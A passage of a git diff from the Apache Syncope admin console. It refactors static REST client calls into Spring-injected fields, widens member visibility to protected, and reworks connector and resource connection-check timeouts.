protected final Label label; + + protected final TopologyNode node; protected enum Status { ACTIVE, @@ -105,7 +109,7 @@ public void onEvent(final IEvent event) { String key = updateEvent.getKey(); if (node.getKind() == Kind.CONNECTOR && key.equalsIgnoreCase(node.getKey())) { - ConnInstanceTO conn = ConnectorRestClient.read(key); + ConnInstanceTO conn = connectorRestClient.read(key); // [SYNCOPE-1233] String displayName = StringUtils.isBlank(conn.getDisplayName()) diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyTogglePanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyTogglePanel.java index aeb8ec3e641..de6097868b3 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyTogglePanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyTogglePanel.java @@ -27,6 +27,7 @@ import org.apache.syncope.client.console.audit.AuditHistoryModal; import org.apache.syncope.client.console.panels.ConnObjects; import org.apache.syncope.client.console.panels.TogglePanel; +import org.apache.syncope.client.console.rest.AuditRestClient; import org.apache.syncope.client.console.rest.ConnectorRestClient; import org.apache.syncope.client.console.rest.ResourceRestClient; import org.apache.syncope.client.console.status.ResourceStatusModal; @@ -34,12 +35,12 @@ import org.apache.syncope.client.console.tasks.PullTasks; import org.apache.syncope.client.console.tasks.PushTasks; import org.apache.syncope.client.console.wicket.markup.html.bootstrap.dialog.BaseModal; -import org.apache.syncope.client.console.wicket.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.syncope.client.console.wizards.resources.ConnectorWizardBuilder; import org.apache.syncope.client.console.wizards.resources.ResourceProvision; import org.apache.syncope.client.console.wizards.resources.ResourceProvisionPanel; import org.apache.syncope.client.console.wizards.resources.ResourceWizardBuilder; import org.apache.syncope.client.ui.commons.Constants; +import org.apache.syncope.client.ui.commons.markup.html.form.IndicatingOnConfirmAjaxLink; import org.apache.syncope.client.ui.commons.pages.BaseWebPage; import org.apache.syncope.client.ui.commons.wizards.AjaxWizard; import org.apache.syncope.common.lib.SyncopeClientException; @@ -62,14 +63,24 @@ import org.apache.wicket.model.IModel; import org.apache.wicket.model.Model; import org.apache.wicket.model.StringResourceModel; +import org.apache.wicket.spring.injection.annot.SpringBean; public class TopologyTogglePanel extends TogglePanel { private static final long serialVersionUID = -2025535531121434056L; - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - private final WebMarkupContainer container; + @SpringBean + protected ConnectorRestClient connectorRestClient; + + @SpringBean + protected ResourceRestClient resourceRestClient; + + @SpringBean + protected AuditRestClient auditRestClient; + + protected final WebMarkupContainer container; protected final BaseModal propTaskModal; @@ -77,7 +88,7 @@ public class TopologyTogglePanel extends TogglePanel { protected final BaseModal provisionModal; - private final BaseModal historyModal; + protected final BaseModal historyModal; public TopologyTogglePanel(final String id, final PageReference pageRef) { super(id, "topologyTogglePanel", pageRef); @@ -176,7 +187,7 @@ private Fragment getSyncopeFragment(final PageReference pageRef) { @Override public void onClick(final AjaxRequestTarget target) { try { - ConnectorRestClient.reload(); + connectorRestClient.reload(); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); } catch (Exception e) { LOG.error("While reloading all connectors", e); @@ -206,7 +217,7 @@ public void onClick(final AjaxRequestTarget target) { final IModel model = new CompoundPropertyModel<>(modelObject); modal.setFormModel(model); - target.add(modal.setContent(new ConnectorWizardBuilder(modelObject, pageRef). + target.add(modal.setContent(new ConnectorWizardBuilder(modelObject, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("connector.new"), node.getKey()))); @@ -227,14 +238,14 @@ public String getAjaxIndicatorMarkupId() { private Fragment getConnectorFragment(final TopologyNode node, final PageReference pageRef) { Fragment fragment = new Fragment("actions", "connectorActions", this); - AjaxLink delete = new IndicatingOnConfirmAjaxLink<>("delete", true) { + AjaxLink delete = new IndicatingOnConfirmAjaxLink<>("delete", Constants.CONFIRM_DELETE, true) { private static final long serialVersionUID = 3776750333491622263L; @Override public void onClick(final AjaxRequestTarget target) { try { - ConnectorRestClient.delete(String.class.cast(node.getKey())); + connectorRestClient.delete(String.class.cast(node.getKey())); target.appendJavaScript(String.format("jsPlumb.remove('%s');", node.getKey())); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); toggle(target, false); @@ -261,7 +272,8 @@ public void onClick(final AjaxRequestTarget target) { final IModel model = new CompoundPropertyModel<>(modelObject); modal.setFormModel(model); - target.add(modal.setContent(new ResourceWizardBuilder(modelObject, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + modelObject, resourceRestClient, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("resource.new"), node.getKey()))); @@ -283,12 +295,12 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ConnInstanceTO connInstance = ConnectorRestClient.read(String.class.cast(node.getKey())); + ConnInstanceTO connInstance = connectorRestClient.read(String.class.cast(node.getKey())); final IModel model = new CompoundPropertyModel<>(connInstance); modal.setFormModel(model); - target.add(modal.setContent(new ConnectorWizardBuilder(connInstance, pageRef). + target.add(modal.setContent(new ConnectorWizardBuilder(connInstance, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, SyncopeConsoleSession.get(). owns(IdMEntitlement.CONNECTOR_UPDATE, connInstance.getAdminRealm()) @@ -314,13 +326,14 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ConnInstanceTO modelObject = ConnectorRestClient.read(node.getKey()); + ConnInstanceTO modelObject = connectorRestClient.read(node.getKey()); target.add(historyModal.setContent(new AuditHistoryModal<>( AuditElements.EventCategoryType.LOGIC, "ConnectorLogic", modelObject, - IdMEntitlement.CONNECTOR_UPDATE) { + IdMEntitlement.CONNECTOR_UPDATE, + auditRestClient) { private static final long serialVersionUID = -3225348282675513648L; @@ -328,7 +341,7 @@ public void onClick(final AjaxRequestTarget target) { protected void restore(final String json, final AjaxRequestTarget target) { try { ConnInstanceTO updated = MAPPER.readValue(json, ConnInstanceTO.class); - ConnectorRestClient.update(updated); + connectorRestClient.update(updated); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); toggle(target, false); @@ -361,14 +374,14 @@ public String getAjaxIndicatorMarkupId() { private Fragment getResourceFragment(final TopologyNode node, final PageReference pageRef) { Fragment fragment = new Fragment("actions", "resourceActions", this); - AjaxLink delete = new IndicatingOnConfirmAjaxLink<>("delete", true) { + AjaxLink delete = new IndicatingOnConfirmAjaxLink<>("delete", Constants.CONFIRM_DELETE, true) { private static final long serialVersionUID = 3776750333491622263L; @Override public void onClick(final AjaxRequestTarget target) { try { - ResourceRestClient.delete(node.getKey()); + resourceRestClient.delete(node.getKey()); target.appendJavaScript(String.format("jsPlumb.remove('%s');", node.getKey())); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); toggle(target, false); @@ -388,13 +401,14 @@ public void onClick(final AjaxRequestTarget target) { @Override public void onClick(final AjaxRequestTarget target) { - ResourceTO resource = ResourceRestClient.read(node.getKey()); - ConnInstanceTO connInstance = ConnectorRestClient.read(resource.getConnector()); + ResourceTO resource = resourceRestClient.read(node.getKey()); + ConnInstanceTO connInstance = connectorRestClient.read(resource.getConnector()); IModel model = new CompoundPropertyModel<>(resource); modal.setFormModel(model); - target.add(modal.setContent(new ResourceWizardBuilder(resource, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + resource, resourceRestClient, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, SyncopeConsoleSession.get(). owns(IdMEntitlement.RESOURCE_UPDATE, connInstance.getAdminRealm()) @@ -419,7 +433,7 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ResourceTO modelObject = ResourceRestClient.read(node.getKey()); + ResourceTO modelObject = resourceRestClient.read(node.getKey()); target.add(propTaskModal.setContent(new ResourceStatusModal(pageRef, modelObject))); propTaskModal.header( new Model<>(MessageFormat.format(getString("resource.reconciliation"), node.getKey()))); @@ -440,8 +454,8 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ResourceTO resource = ResourceRestClient.read(node.getKey()); - ConnInstanceTO connInstance = ConnectorRestClient.read(resource.getConnector()); + ResourceTO resource = resourceRestClient.read(node.getKey()); + ConnInstanceTO connInstance = connectorRestClient.read(resource.getConnector()); if (SyncopeConsoleSession.get(). owns(IdMEntitlement.RESOURCE_UPDATE, connInstance.getAdminRealm())) { @@ -475,7 +489,7 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ResourceTO resource = ResourceRestClient.read(node.getKey()); + ResourceTO resource = resourceRestClient.read(node.getKey()); target.add(propTaskModal.setContent(new ConnObjects(resource, pageRef))); propTaskModal.header(new StringResourceModel("resource.explore.list", Model.of(node))); @@ -556,13 +570,14 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { - ResourceTO modelObject = ResourceRestClient.read(node.getKey()); + ResourceTO modelObject = resourceRestClient.read(node.getKey()); target.add(historyModal.setContent(new AuditHistoryModal<>( AuditElements.EventCategoryType.LOGIC, "ResourceLogic", modelObject, - IdMEntitlement.RESOURCE_UPDATE) { + IdMEntitlement.RESOURCE_UPDATE, + auditRestClient) { private static final long serialVersionUID = -3712506022627033811L; @@ -570,7 +585,7 @@ public void onClick(final AjaxRequestTarget target) { protected void restore(final String json, final AjaxRequestTarget target) { try { ResourceTO updated = MAPPER.readValue(json, ResourceTO.class); - ResourceRestClient.update(updated); + resourceRestClient.update(updated); SyncopeConsoleSession.get().success(getString(Constants.OPERATION_SUCCEEDED)); toggle(target, false); @@ -605,7 +620,7 @@ public String getAjaxIndicatorMarkupId() { @Override public void onClick(final AjaxRequestTarget target) { try { - ResourceTO resource = ResourceRestClient.read(node.getKey()); + ResourceTO resource = resourceRestClient.read(node.getKey()); resource.setKey("Copy of " + node.getKey()); for (Provision provision : resource.getProvisions()) { @@ -614,7 +629,8 @@ public void onClick(final AjaxRequestTarget target) { } provision.getVirSchemas().clear(); } - target.add(modal.setContent(new ResourceWizardBuilder(resource, pageRef). + target.add(modal.setContent(new ResourceWizardBuilder( + resource, resourceRestClient, connectorRestClient, pageRef). build(BaseModal.CONTENT_ID, AjaxWizard.Mode.CREATE))); modal.header(new Model<>(MessageFormat.format(getString("resource.clone"), node.getKey()))); @@ -639,13 +655,12 @@ public void onEvent(final IEvent event) { super.onEvent(event); if (event.getPayload() instanceof AjaxWizard.NewItemFinishEvent) { - final AjaxWizard.NewItemFinishEvent item = AjaxWizard.NewItemFinishEvent.class.cast(event.getPayload()); - final Serializable result = item.getResult(); - final Optional target = item.getTarget(); - if (result != null && result instanceof ConnInstanceTO && target.isPresent()) { + AjaxWizard.NewItemFinishEvent item = AjaxWizard.NewItemFinishEvent.class.cast(event.getPayload()); + Serializable result = item.getResult(); + Optional target = item.getTarget(); + if (result instanceof ConnInstanceTO) { // update Toggle Panel header - ConnInstanceTO conn = ConnInstanceTO.class.cast(result); - setHeader(target.get(), conn.getDisplayName()); + target.ifPresent(t -> setHeader(t, ConnInstanceTO.class.cast(result).getDisplayName())); } } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyWebSocketBehavior.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyWebSocketBehavior.java index 64c9637777c..c68e0359c42 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyWebSocketBehavior.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/topology/TopologyWebSocketBehavior.java @@ -26,6 +26,7 @@ import java.util.HashMap; import java.util.HashSet; import java.util.Map; +import java.util.Optional; import java.util.Set; import java.util.concurrent.Callable; import java.util.concurrent.TimeUnit; @@ -42,74 +43,51 @@ import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import org.springframework.core.task.SimpleAsyncTaskExecutor; public class TopologyWebSocketBehavior extends WebSocketBehavior { private static final long serialVersionUID = -1653665542635275551L; - private static final Logger LOG = LoggerFactory.getLogger(TopologyWebSocketBehavior.class); + protected static final Logger LOG = LoggerFactory.getLogger(TopologyWebSocketBehavior.class); - private static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); + protected static final JsonMapper MAPPER = JsonMapper.builder().findAndAddModules().build(); - private static final String CONNECTOR_TEST_TIMEOUT_PARAMETER = "connector.test.timeout"; + protected static final String CONNECTOR_TEST_TIMEOUT_PARAMETER = "connector.test.timeout"; - private static final String RESOURCE_TEST_TIMEOUT_PARAMETER = "resource.test.timeout"; + protected static final String RESOURCE_TEST_TIMEOUT_PARAMETER = "resource.test.timeout"; - private static void timeoutHandlingConnectionChecker( - final Checker checker, - final Integer timeout, - final Map responses, - final Set running) { - - String response = null; - try { - if (timeout == null || timeout < 0) { - LOG.debug("No timeouts for resource connection checking ... "); - response = checker.call(); - } else if (timeout > 0) { - LOG.debug("Timeouts provided for resource connection checking ... "); - response = SyncopeConsoleSession.get().execute(checker).get(timeout, TimeUnit.SECONDS); - } - } catch (InterruptedException | TimeoutException e) { - LOG.warn("Connection with {} timed out", checker.key); - response = String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - TopologyNode.Status.UNREACHABLE, checker.key); - } catch (Exception e) { - LOG.error("Unexpected exception conneting to {}", checker.key, e); - response = String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - TopologyNode.Status.FAILURE, checker.key); - } - - if (response != null) { - responses.put(checker.key, response); - } + @SpringBean + protected ServiceOps serviceOps; - running.remove(checker.key); - } + @SpringBean + protected ConfParamOps confParamOps; @SpringBean - private ServiceOps serviceOps; + protected ConnectorRestClient connectorRestClient; @SpringBean - private ConfParamOps confParamOps; + protected ResourceRestClient resourceRestClient; + + protected final Map connectors = Collections.synchronizedMap(new HashMap<>()); - private final Map connectors = Collections.synchronizedMap(new HashMap<>()); + protected final Set runningConnCheck = Collections.synchronizedSet(new HashSet<>()); - private final Set runningConnCheck = Collections.synchronizedSet(new HashSet<>()); + protected final Map resources = Collections.synchronizedMap(new HashMap<>()); - private final Map resources = Collections.synchronizedMap(new HashMap<>()); + protected final Set runningResCheck = Collections.synchronizedSet(new HashSet<>()); - private final Set runningResCheck = Collections.synchronizedSet(new HashSet<>()); + protected final transient SimpleAsyncTaskExecutor executor = new SimpleAsyncTaskExecutor(); - private String coreAddress; + protected String coreAddress; - private String domain; + protected String domain; - private String jwt; + protected String jwt; - private Integer connectorTestTimeout = null; + protected Integer connectorTestTimeout = null; - private Integer resourceTestTimeout = null; + protected Integer resourceTestTimeout = null; public TopologyWebSocketBehavior() { coreAddress = serviceOps.get(NetworkService.Type.CORE).getAddress(); @@ -126,6 +104,36 @@ public TopologyWebSocketBehavior() { } } + protected void timeoutHandlingConnectionChecker( + final Checker checker, + final Integer timeout, + final Map responses, + final Set running) { + + String response; + try { + if (timeout == null || timeout < 0) { + LOG.debug("No timeouts for resource connection checking ... "); + response = checker.call(); + } else { + LOG.debug("Timeouts provided for resource connection checking ... "); + response = executor.submit(checker).get(timeout, TimeUnit.SECONDS); + } + } catch (InterruptedException | TimeoutException e) { + LOG.warn("Connection with {} timed out", checker.key); + response = String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", + TopologyNode.Status.UNREACHABLE, checker.key); + } catch (Exception e) { + LOG.error("Unexpected exception connecting to {}", checker.key, e); + response = String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", + TopologyNode.Status.FAILURE, checker.key); + } + + Optional.ofNullable(response).ifPresent(r -> responses.put(checker.key, r)); + + running.remove(checker.key); + } + @Override protected void onMessage(final WebSocketRequestHandler handler, final TextMessage message) { try { @@ -145,8 +153,8 @@ protected void onMessage(final WebSocketRequestHandler handler, final TextMessag LOG.debug("Running connection check for connector {}", ckey); } else { try { - SyncopeConsoleSession.get().execute(() -> timeoutHandlingConnectionChecker( - new ConnectorChecker(ckey), connectorTestTimeout, connectors, runningConnCheck)); + timeoutHandlingConnectionChecker( + new ConnectorChecker(ckey), connectorTestTimeout, connectors, runningConnCheck); runningConnCheck.add(ckey); } catch (Exception e) { @@ -169,8 +177,8 @@ protected void onMessage(final WebSocketRequestHandler handler, final TextMessag LOG.debug("Running connection check for resource {}", rkey); } else { try { - SyncopeConsoleSession.get().execute(() -> timeoutHandlingConnectionChecker( - new ResourceChecker(rkey), resourceTestTimeout, resources, runningResCheck)); + timeoutHandlingConnectionChecker( + new ResourceChecker(rkey), resourceTestTimeout, resources, runningResCheck); runningResCheck.add(rkey); } catch (Exception e) { @@ -201,7 +209,7 @@ public boolean resCheckDone(final Collection resources) { return this.resources.keySet().containsAll(resources); } - private abstract class Checker implements Callable { + protected abstract class Checker implements Callable { protected final String key; @@ -210,7 +218,7 @@ private abstract class Checker implements Callable { } } - private class ConnectorChecker extends Checker { + protected class ConnectorChecker extends Checker { ConnectorChecker(final String key) { super(key); @@ -220,17 +228,16 @@ private class ConnectorChecker extends Checker { public String call() throws Exception { try { return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - ConnectorRestClient.check(coreAddress, domain, jwt, key) + connectorRestClient.check(coreAddress, domain, jwt, key) ? TopologyNode.Status.REACHABLE : TopologyNode.Status.UNREACHABLE, key); } catch (Exception e) { LOG.warn("Error checking connection for {}", key, e); - return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - TopologyNode.Status.FAILURE, key); + return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", TopologyNode.Status.FAILURE, key); } } } - private class ResourceChecker extends Checker { + protected class ResourceChecker extends Checker { ResourceChecker(final String key) { super(key); @@ -240,12 +247,11 @@ private class ResourceChecker extends Checker { public String call() throws Exception { try { return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - ResourceRestClient.check(coreAddress, domain, jwt, key) + resourceRestClient.check(coreAddress, domain, jwt, key) ? TopologyNode.Status.REACHABLE : TopologyNode.Status.UNREACHABLE, key); } catch (Exception e) { LOG.warn("Error checking connection for {}", key, e); - return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", - TopologyNode.Status.FAILURE, key); + return String.format("{ \"status\": \"%s\", \"target\": \"%s\"}", TopologyNode.Status.FAILURE, key); } } } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/list/ConnConfPropertyListView.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/list/ConnConfPropertyListView.java index 59bd19b46af..f45b5d8472f 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/list/ConnConfPropertyListView.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wicket/markup/html/list/ConnConfPropertyListView.java @@ -30,8 +30,8 @@ import org.apache.syncope.client.ui.commons.ajax.form.IndicatorAjaxFormComponentUpdatingBehavior; import org.apache.syncope.client.ui.commons.markup.html.form.AbstractFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxCheckBoxPanel; +import org.apache.syncope.client.ui.commons.markup.html.form.AjaxNumberFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxPasswordFieldPanel; -import org.apache.syncope.client.ui.commons.markup.html.form.AjaxSpinnerFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.AjaxTextFieldPanel; import org.apache.syncope.client.ui.commons.markup.html.form.FieldPanel; import org.apache.syncope.common.lib.types.ConnConfProperty; @@ -83,7 +83,7 @@ protected void populateItem(final ListItem item) { || IdMConstants.GUARDED_STRING.equalsIgnoreCase(property.getSchema().getType()) || IdMConstants.GUARDED_BYTE_ARRAY.equalsIgnoreCase(property.getSchema().getType())) { - field = new AjaxPasswordFieldPanel("panel", label, new Model<>(), false); + field = new AjaxPasswordFieldPanel("panel", label, Model.of(), false); ((PasswordTextField) field.getField()).setResetPassword(false); required = property.getSchema().isRequired(); @@ -100,9 +100,8 @@ protected void populateItem(final ListItem item) { } if (ClassUtils.isAssignable(Number.class, propertySchemaClass)) { - @SuppressWarnings("unchecked") - Class numberClass = (Class) propertySchemaClass; - field = new AjaxSpinnerFieldPanel.Builder<>().build("panel", label, numberClass, new Model<>()); + field = new AjaxNumberFieldPanel.Builder<>().build( + "panel", label, AjaxNumberFieldPanel.cast(propertySchemaClass), new Model<>()); required = property.getSchema().isRequired(); } else if (ClassUtils.isAssignable(Boolean.class, propertySchemaClass)) { field = new AjaxCheckBoxPanel("panel", label, new Model<>()); diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/widgets/RemediationsWidget.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/widgets/RemediationsWidget.java index ba66c699591..a26d890db0f 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/widgets/RemediationsWidget.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/widgets/RemediationsWidget.java @@ -41,13 +41,17 @@ import org.apache.wicket.markup.html.link.BookmarkablePageLink; import org.apache.wicket.model.IModel; import org.apache.wicket.model.util.ListModel; +import org.apache.wicket.spring.injection.annot.SpringBean; @ExtWidget(priority = 0) public class RemediationsWidget extends ExtAlertWidget { private static final long serialVersionUID = 1817429725840355068L; - private final List lastRemediations = new ArrayList<>(); + @SpringBean + protected RemediationRestClient remediationRestClient; + + protected final List lastRemediations = new ArrayList<>(); public RemediationsWidget(final String id, final PageReference pageRef) { super(id, pageRef); @@ -87,7 +91,7 @@ public final void refreshLatestAlerts(final AjaxRequestTarget target) { protected int getLatestAlertsSize() { return SyncopeConsoleSession.get().owns(IdMEntitlement.REMEDIATION_LIST) && SyncopeConsoleSession.get().owns(IdMEntitlement.REMEDIATION_READ) - ? RemediationRestClient.countRemediations() + ? remediationRestClient.countRemediations() : 0; } @@ -101,10 +105,10 @@ protected IModel> getLatestAlerts() { public List getObject() { List updatedRemediations; if (SyncopeConsoleSession.get().owns(IdMEntitlement.REMEDIATION_LIST) - && SyncopeConsoleSession.get().owns(IdMEntitlement.REMEDIATION_READ)) { + && SyncopeConsoleSession.get().owns(IdMEntitlement.REMEDIATION_READ)) { - updatedRemediations = RemediationRestClient.getRemediations(1, - MAX_SIZE, new SortParam<>("instant", true)); + updatedRemediations = remediationRestClient.getRemediations( + 1, MAX_SIZE, new SortParam<>("instant", true)); } else { updatedRemediations = List.of(); } diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder.java index 00e45bb94dd..7870fa55f35 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPullWizardBuilder.java @@ -93,13 +93,24 @@ public static LineSeparator byRepr(final String repr) { } } - private final Model csv = new Model<>(); + protected final Model csv = new Model<>(); - private final Bytes maxUploadSize; + protected final ReconciliationRestClient reconciliationRestClient; + + protected final ImplementationRestClient implementationRestClient; + + protected final Bytes maxUploadSize; + + public CSVPullWizardBuilder( + final CSVPullSpec defaultItem, + final ReconciliationRestClient reconciliationRestClient, + final ImplementationRestClient implementationRestClient, + final PageReference pageRef) { - public CSVPullWizardBuilder(final CSVPullSpec defaultItem, final PageReference pageRef) { super(defaultItem, pageRef); + this.reconciliationRestClient = reconciliationRestClient; + this.implementationRestClient = implementationRestClient; this.maxUploadSize = Bytes.megabytes(SyncopeWebApplication.get().getMaxUploadFileSizeMB()); } @@ -111,7 +122,7 @@ public CSVPullWizardBuilder setEventSink(final IEventSink eventSink) { @Override protected ArrayList onApplyInternal(final CSVPullSpec modelObject) { - return ReconciliationRestClient.pull(modelObject, new ByteArrayInputStream(csv.getObject())); + return reconciliationRestClient.pull(modelObject, new ByteArrayInputStream(csv.getObject())); } @Override @@ -235,8 +246,8 @@ public class PullTask extends WizardStep { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PULL_ACTIONS).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; @@ -246,8 +257,8 @@ protected List load() { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PULL_CORRELATION_RULE).stream(). - map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); + return implementationRestClient.list(IdMImplementationType.PULL_CORRELATION_RULE).stream(). + map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder.java index 189217bef35..1035c4e5198 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/CSVPushWizardBuilder.java @@ -51,19 +51,28 @@ public class CSVPushWizardBuilder extends BaseAjaxWizardBuilder { private static final long serialVersionUID = -8890710681835661962L; - private final AnyQuery query; + protected final AnyQuery query; - private final AjaxDownloadBehavior downloadBehavior; + protected final AjaxDownloadBehavior downloadBehavior; + + protected final ReconciliationRestClient reconciliationRestClient; + + protected final ImplementationRestClient implementationRestClient; public CSVPushWizardBuilder( final CSVPushSpec defaultItem, final AnyQuery query, final AjaxDownloadBehavior downloadBehavior, + final ReconciliationRestClient reconciliationRestClient, + final ImplementationRestClient implementationRestClient, final PageReference pageRef) { super(defaultItem, pageRef); + this.query = query; this.downloadBehavior = downloadBehavior; + this.reconciliationRestClient = reconciliationRestClient; + this.implementationRestClient = implementationRestClient; } @Override @@ -76,7 +85,7 @@ public CSVPushWizardBuilder setEventSink(final IEventSink eventSink) { protected Serializable onApplyInternal(final CSVPushSpec modelObject) { return RequestCycle.get().find(AjaxRequestTarget.class).map(target -> { try { - downloadBehavior.setResponse(new ResponseHolder(ReconciliationRestClient.push(query, modelObject))); + downloadBehavior.setResponse(new ResponseHolder(reconciliationRestClient.push(query, modelObject))); downloadBehavior.initiate(target); return Constants.OPERATION_SUCCEEDED; @@ -103,7 +112,7 @@ public Details(final CSVPushSpec spec) { } } - public static class PushTask extends WizardStep { + public class PushTask extends WizardStep { private static final long serialVersionUID = -2747583614435078452L; @@ -113,7 +122,7 @@ public static class PushTask extends WizardStep { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PROPAGATION_ACTIONS).stream(). + return implementationRestClient.list(IdMImplementationType.PROPAGATION_ACTIONS).stream(). map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; @@ -124,7 +133,7 @@ protected List load() { @Override protected List load() { - return ImplementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). + return implementationRestClient.list(IdMImplementationType.PUSH_ACTIONS).stream(). map(ImplementationTO::getKey).sorted().collect(Collectors.toList()); } }; diff --git a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountDetailsPanel.java b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountDetailsPanel.java index 0bbe9be3c48..e5d8d65847e 100644 --- a/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountDetailsPanel.java +++ b/client/idm/console/src/main/java/org/apache/syncope/client/console/wizards/any/LinkedAccountDetailsPanel.java @@ -21,6 +21,8 @@ import java.time.Duration; import java.time.temporal.ChronoUnit; import java.util.List; +import java.util.Objects; +import java.util.Optional; import java.util.concurrent.atomic.AtomicReference; import java.util.stream.Collectors; import org.apache.commons.lang3.StringUtils; @@ -46,6 +48,7 @@ import org.apache.wicket.extensions.markup.html.repeater.util.SortParam; import org.apache.wicket.extensions.wizard.WizardStep; import org.apache.wicket.model.PropertyModel; +import org.apache.wicket.spring.injection.annot.SpringBean; import org.slf4j.Logger; import org.slf4j.LoggerFactory; @@ -53,11 +56,14 @@ public class LinkedAccountDetailsPanel extends WizardStep { private static final long serialVersionUID = 1221037007528732347L; - private static final Logger LOG = LoggerFactory.getLogger(LinkedAccountDetailsPanel.class); + @SpringBean + protected ResourceRestClient resourceRestClient; - private static final int SEARCH_SIZE = 20; + protected static final Logger LOG = LoggerFactory.getLogger(LinkedAccountDetailsPanel.class); - private List connObjectKeyFieldValues; + protected static final int SEARCH_SIZE = 20; + + protected List connObjectKeyFieldValues; public LinkedAccountDetailsPanel(final LinkedAccountTO linkedAccountTO) { super(); @@ -68,19 +74,16 @@ public LinkedAccountDetailsPanel(final LinkedAccountTO linkedAccountTO) { "resource", new PropertyModel<>(linkedAccountTO, "resource"), false); - dropdownResourceField.setChoices(ResourceRestClient.list().stream(). - filter(resource -> resource.getProvision(AnyTypeKind.USER.name()).isPresent() - && resource.getProvision(AnyTypeKind.USER.name()).get().getMapping() != null - && !resource.getProvision(AnyTypeKind.USER.name()).get().getMapping().getItems().isEmpty()). + + dropdownResourceField.setChoices(resourceRestClient.list().stream(). + filter(resource -> resource.getProvision(AnyTypeKind.USER.name()). + flatMap(provision -> Optional.ofNullable(provision.getMapping())). + filter(mapping -> !mapping.getItems().isEmpty()).isPresent()). map(ResourceTO::getKey). collect(Collectors.toList())); - dropdownResourceField.setOutputMarkupId(true); - dropdownResourceField.addRequiredLabel(); - dropdownResourceField.setNullValid(false); - dropdownResourceField.setRequired(true); - add(dropdownResourceField); + add(dropdownResourceField.setNullValid(false).addRequiredLabel().setOutputMarkupId(true)); - final String connObjectKeyFieldId = 